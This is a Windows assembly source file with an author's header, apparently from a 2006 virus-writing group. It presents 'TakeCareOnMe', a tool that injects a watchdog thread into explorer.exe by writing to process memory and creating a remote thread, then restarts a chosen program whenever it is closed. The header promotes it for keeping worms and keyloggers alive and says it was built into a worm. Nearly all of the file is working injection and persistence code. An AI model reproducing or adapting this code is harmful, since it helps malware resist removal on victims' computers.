TakeCareOnMe 1.0
by DiA
;같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같 TakeCareOnMe 1.0 by DiA/RRLF (c)2006            같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같 DiA_hates_machine@gmx.de - http://www.vx-dia.vu 같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같 What's that? 같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같  This is a small utility (1305 bytes compressed with FSG) wich is able to keep your application 같같;
;같같  alive, can be your worm, your keylogger or the anoying program you wrote for some fucker.      같같;
;같같  The program injects some code in Explorer that infinite check if your program is still running 같같;
;같같  if not so, it restarts it. Only way out is to terminate Explorer process, and wich normal dude 같같;
;같같  is doing this...                                                                               같같;
;같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같 How to use it? 같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같  Pretty easy, just call this program with full path of the program you want to stay alive. As   같같;
;같같  example we want that the Calculator stays active, and restarts if it got closed, we call this  같같;
;같같  program with parameter "C:\WINDOWS\System32\Calc.exe" (on normal installed XP). See syntax:    같같;
;같같   %full path%\TakeCareOnMe 1.0.exe <full path of application you want to take care for>         같같;
;같같   example: C:\WINDOWS\t com.exe C:\WINDOWS\System32\Calc.exe                                    같같;
;같같  How easy huh? You just make sure that you call this program with full path, and give the full  같같;
;같같  path of the application you want to stay alive. Thats all.                                     같같;
;같같 I just included this tool in my worm "Tamiami" and recocnized that the parameter extraction     같같;
;같같 just works when there is a space inside of the path of TakeCareOnMe. So you may want to change  같같;
;같같 this in source, this is the way:                                                                같같;
;같같  No space in path => then the first space ("...exe C:\...") is the parameter begin (+1)         같같;
;같같  With space in path => last " is parameter begin (+2)                                           같같;
;같같 Just don't mind and copy this tool with a space in filename, as example name it "t com.exe".    같같;
;같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같 Huh? How what huh?! 같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같 include "%fasminc%\win32ax.inc"                                                                 같같;
;같같                                                                                                 같같;
;같같 .data                                                                                           같같;
;같같         Exec db "C:\MyAsm\Codes\TCOM\t com.exe C:\WINDOWS\System32\Calc.exe", 0                 같같;
;같같                                                                                                 같같;
;같같 .code                                                                                           같같;
;같같 start:                                                                                          같같;
;같같         invoke WinExec,\                                                                        같같;
;같같                 Exec,\                                                                          같같;
;같같                 SW_SHOW                                                                         같같;
;같같                                                                                                 같같;
;같같         invoke ExitProcess,\                                                                    같같;
;같같                 0                                                                               같같;
;같같                                                                                                 같같;
;같같 .end start                                                                                      같같;
;같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같 What else? 같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;
;같같  As always you are responsible for your actions.                                                같같;
;같같  Here a little idea, just write your Worm (or whatever) binary to memory too, if it got         같같;
;같같  terminated AND deleted, write it back to disk and execute it again. That's all, visit          같같;
;같같  http://www.vx-dia.de.vu right now! Thanx to izee for beta testing.                             같같;
;같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같같;

include "%fasminc%\win32ax.inc"

entry TakeCareOnMe                                              ;code start

macro _invoke proc,[arg]                                        ;modified invoke macro,
 { common                                                       ;call with delta offset
    if ~ arg eq
   reverse
     pushd arg
   common
    end if
    call [ebp + proc] }

section '.code' code readable writeable executable
RemoteThreadStart:
        call DeltaOffset                                        ;to get right addresses

DeltaOffset:
        pop ebp
        sub ebp, DeltaOffset                                    ;difference now in ebp

CareStart:
        mov dword [ebp + ProcessEntry.dwSize], sizeof.PROCESSENTRY32  ;fill structure with its size

        lea ebx, dword [ebp + ProcessEntry]                     ;ebx holds address of structure

        _invoke _CreateToolhelp32Snapshot,\                     ;snapshot of processes
                2,\                                             ;TH32CS_SNAPPROCESS
                edx                                             ;pointer to structure

        cmp eax, 0                                              ;error?
        je ReturnThread

        mov dword [ebp + SnapHandle], eax                       ;save handle

        _invoke _Process32First,\                               ;find first process
                dword [ebp + SnapHandle],\
                ebx                                             ;ProcessEntry address

        cmp eax, 0
        je ReturnThread

NextProcess:
        lea eax, dword [ebp + ProcessEntry.szExeFile]
        lea edx, dword [ebp + CareForShort]

        _invoke _lstrcmpi,\
                eax,\                                           ;is found process
                edx                                             ;the process to take care for?

        cmp eax, 0
        je CareForRuns                                          ;if so no need to restart, sleep

        _invoke _Process32Next,\                                ;next process
                dword [ebp + SnapHandle],\
                ebx                                             ;ProcessEntry

        cmp eax, 0                                              ;search all processes?
        je CareForRestart                                      ;restart our process then

        lea eax, dword [ebp + NextProcess]
        jmp eax

CareForRuns:
        _invoke _CloseHandle,\
                dword [ebp + SnapHandle]                        ;close snapshot handle

        _invoke _Sleep,\                                        ;sleep 10 seconds
                10000d

        lea eax, dword [ebp + CareStart]
        jmp eax

CareForRestart:
        _invoke _CloseHandle,\
                dword [ebp + SnapHandle]

        lea eax, dword [ebp + CareForFull]
        lea ebx, dword [ebp + StartupInfo]
        lea edx, dword [ebp + ProcessInfo]

        _invoke _CreateProcess,\                                ;program to care for gots closed, restart
                eax,\
                0,\
                0,\
                0,\
                0,\
                CREATE_NEW_CONSOLE,\
                0,\
                0,\
                ebx,\
                edx

        _invoke _Sleep,\
                1000d                                           ;sleep 1 second

        lea eax, dword [ebp + CareStart]
        jmp eax

ReturnThread:
        ret                                                     ;return remote thread

RemoteDatas:
        CareForFull                     rb 256d
        CareForShort                    rb 256d
        ProcessEntry                    PROCESSENTRY32
        SnapHandle                      dd ?
        StartupInfo                     STARTUPINFO
        ProcessInfo                     PROCESS_INFORMATION

        _CreateToolhelp32Snapshot       dd ?
        _Process32First                 dd ?
        _Process32Next                  dd ?
        _lstrcmpi                       dd ?
        _CloseHandle                    dd ?
        _Sleep                          dd ?
        _CreateProcess                  dd ?
RemoteThreadEnd:

Datas:
        Kernel32Handle  dd ?
        ProcessEntryOwn PROCESSENTRY32
        SnapHandleOwn   dd ?
        ProcessHandle   dd ?
        BaseAddress     dd ?

        APITable        db "CreateToolhelp32Snapshot", 0
                        db "Process32First", 0
                        db "Process32Next", 0
                        db "lstrcmpiA", 0
                        db "CloseHandle", 0
                        db "Sleep", 0
                        db "CreateProcessA", 0, 13d

TakeCareOnMe:
        invoke GetCommandLine

        inc eax                                                 ;skip "
        mov ecx, 0                                              ;counter to zero

SearchOwnEnd:
        cmp byte [eax + ecx], '"'                               ;is end "
        je HaveOwnEnd
                                                                ;counter++
        inc ecx
        jmp SearchOwnEnd

HaveOwnEnd:                                                     ;erase own name
        add eax, ecx                                            ;erase "{space}
        add eax, 2d

        mov ecx, 0                                              ;zero counter

SearchParameterEnd:
        cmp byte [eax + ecx], 0                                 ;end of string?
        je HaveParameterEnd

        inc ecx
        jmp SearchParameterEnd

HaveParameterEnd:
        mov esi, eax                                            ;source index
        mov edi, CareForFull                                    ;destination
        rep movsb                                               ;mov [ecx] bytes from source to destination

        mov ecx, 0                                              ;zero counter

SearchShortEnd:
        cmp byte [eax + ecx], "."                               ;search for .(exe)
        je SearchShortStart

        inc ecx
        jmp SearchShortEnd

SearchShortStart:
        cmp byte [eax + ecx], "\"                               ;search for last "\"
        je HaveShortStart

        dec ecx                                                 ;search backwards
        jmp SearchShortStart

HaveShortStart:
        add eax, ecx                                            ;begin
        inc eax                                                 ;skip "\"
        mov ecx, 0                                              ;zero counter

GetShortLength:
        cmp byte [eax + ecx], 0                                 ;end of string?
        je HaveShortLength

        inc ecx
        jmp GetShortLength

HaveShortLength:
        mov esi, eax                                            ;source
        mov edi, CareForShort                                   ;destination
        rep movsb                                               ;length copy

        cmp byte [CareForFull], 0                               ;no parameter?
        je Exit                                                 ;then i have nothing to do

        invoke LoadLibrary,\                                    ;load kernel32.dll
                "kernel32.dll"                                  ;to get api addresses

        cmp eax, 0
        je Exit

        mov dword [Kernel32Handle], eax

        mov ebx, APITable                                       ;start of api strings
        mov edx, _CreateToolhelp32Snapshot                      ;start of address storage
        push edx                                                ;edx get changed while api calls

NextAPI:
        invoke GetProcAddress,\
                dword [Kernel32Handle],\                        ;kernel32.dll
                ebx                                             ;pointer to api string

        pop edx
        mov dword [edx], eax                                    ;save proc address
        add edx, 4d                                             ;jump to next save address (+dd)
        push edx

        mov ecx, 0

SearchNextAPI:
        cmp byte [ebx + ecx], 0                                 ;api end?
        je HaveNextAPI

        inc ecx
        jmp SearchNextAPI

HaveNextAPI:
        add ebx, ecx                                            ;end of last api
        inc ebx                                                 ;start of next api

        cmp byte [ebx], 13d                                     ;end of api table?
        je HaveAllAPI

        jmp NextAPI

HaveAllAPI:
        invoke FreeLibrary,\                                    ;oww, i have so good coding style
                dword [Kernel32Handle]

        mov dword [ProcessEntryOwn.dwSize], sizeof.PROCESSENTRY32 ;set size to structure

        invoke _CreateToolhelp32Snapshot,\                      ;why dont use it a second time? :)
                2,\                                             ;TH32CS_SNAPPROCESS
                0

        cmp eax, 0                                              ;error?
        je Exit                                                 ;then we cant inject

        mov dword [SnapHandleOwn], eax                          ;save handle

        invoke _Process32First,\                                ;again, we already have the address by GetProcAddress
                dword [SnapHandleOwn],\                         ;but use another address of handle then in thread
                ProcessEntryOwn                                 ;here too

NextTargetProcess:                                              ;check next
        cmp eax, 0                                              ;error, explorer.exe not found
        je Exit

        invoke _lstrcmpi,\
                ProcessEntryOwn.szExeFile,\                     ;is found process
                "explorer.exe"                                  ;explorer?

        cmp eax, 0
        je FoundExplorer                                        ;if so i found explorer

        invoke _Process32Next,\
                dword [SnapHandleOwn],\
                ProcessEntryOwn

        jmp NextTargetProcess                                   ;check the next process

FoundExplorer:
        invoke _CloseHandle,\                                   ;close snapshot handle
                dword [SnapHandleOwn]

        invoke OpenProcess,\                                    ;open the explorer process
                PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,\ ;want to operate in it, to write my thread and to execute it
                0,\
                dword [ProcessEntryOwn.th32ProcessID]           ;the process id we got from snapshot

        cmp eax, 0                                              ;error
        je Exit                                                 ;**no need for VirtualProtect call, cause it would fail if we
                                                                ;dont have permission to write & execute
        mov dword [ProcessHandle], eax                          ;save process handle

        invoke VirtualAllocEx,\                                 ;allocate space in the explorer process
                dword [ProcessHandle],\                         ;i want space here
                0,\
                RemoteThreadEnd - RemoteThreadStart,\           ;get size of remote thread
                MEM_COMMIT,\
                PAGE_READWRITE                                  ;sure we want write

        cmp eax, 0                                              ;error?
        je Exit

        mov dword [BaseAddress], eax                            ;where is the space allocated?

        invoke WriteProcessMemory,\                             ;write to process memore
                dword [ProcessHandle],\                         ;to explorer
                dword [BaseAddress],\                           ;start of buffer in memory
                RemoteThreadStart,\                             ;start of code to write
                RemoteThreadEnd - RemoteThreadStart,\           ;size to write
                0

        cmp eax, 0
        je Exit                                                 ;exit on error

        invoke CreateRemoteThread,\                             ;now execute the written thread
                dword [ProcessHandle],\                         ;excute in explorer context
                0,\
                0,\
                dword [BaseAddress],\                           ;start of process in memory
                0,\                                             ;no parameter
                0,\
                0

        invoke _CloseHandle,\
                dword [ProcessHandle]                           ;close explorer handle

Exit:
        invoke ExitProcess,\
                0                                               ;work done, i take care for my lil program

        Pose db "TakeCareOnMe 1.0 by DiA/RRLF (c)06"            ;)

section '.idata' data import readable
        library kernel32,               "kernel32.dll"

        import kernel32,\
                GetCommandLine,         "GetCommandLineA",\
                LoadLibrary,            "LoadLibraryA",\
                GetProcAddress,         "GetProcAddress",\
                FreeLibrary,            "FreeLibrary",\
                OpenProcess,            "OpenProcess",\
                VirtualAllocEx,         "VirtualAllocEx",\
                WriteProcessMemory,     "WriteProcessMemory",\
                CreateRemoteThread,     "CreateRemoteThread",\
                ExitProcess,            "ExitProcess"